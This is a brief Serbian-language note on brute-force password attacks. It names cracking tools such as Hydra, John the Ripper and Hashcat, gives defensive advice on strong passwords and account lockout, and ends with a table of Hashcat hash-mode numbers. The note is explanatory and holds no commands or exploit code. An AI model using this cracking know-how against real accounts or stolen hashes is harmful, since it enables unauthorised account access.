## Brute-Force
### Kako se radi
Brute-force napad je tehnika koja se koristi za pokušaj svih mogućih kombinacija lozinke dok se ne pronađe odgovarajuća. Ovo je često korišćena tehnika za probijanje zajedničkih aplikacionih hešova.
### Alati
Postoje razni alati koji se mogu koristiti za izvođenje brute-force napada, kao što su Hydra, John the Ripper, i Hashcat. Ovi alati omogućavaju podešavanje različitih parametara napada, kao što su dužina lozinke, karakteri koji se koriste, i slično.
### Mere predostrožnosti
Kako bi se sprečili brute-force napadi, preporučuje se korišćenje snažnih, jedinstvenih lozinki koje se redovno menjaju. Takođe je važno implementirati mehanizme zaštite kao što su zaključavanje naloga nakon određenog broja neuspelih pokušaja prijavljivanja.
```
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
5100 | Half MD5 | Raw Hash
100 | SHA1 | Raw Hash
10800 | SHA-384 | Raw Hash
1400 | SHA-256 | Raw Hash
1700 | SHA-512 | Raw Hash
```
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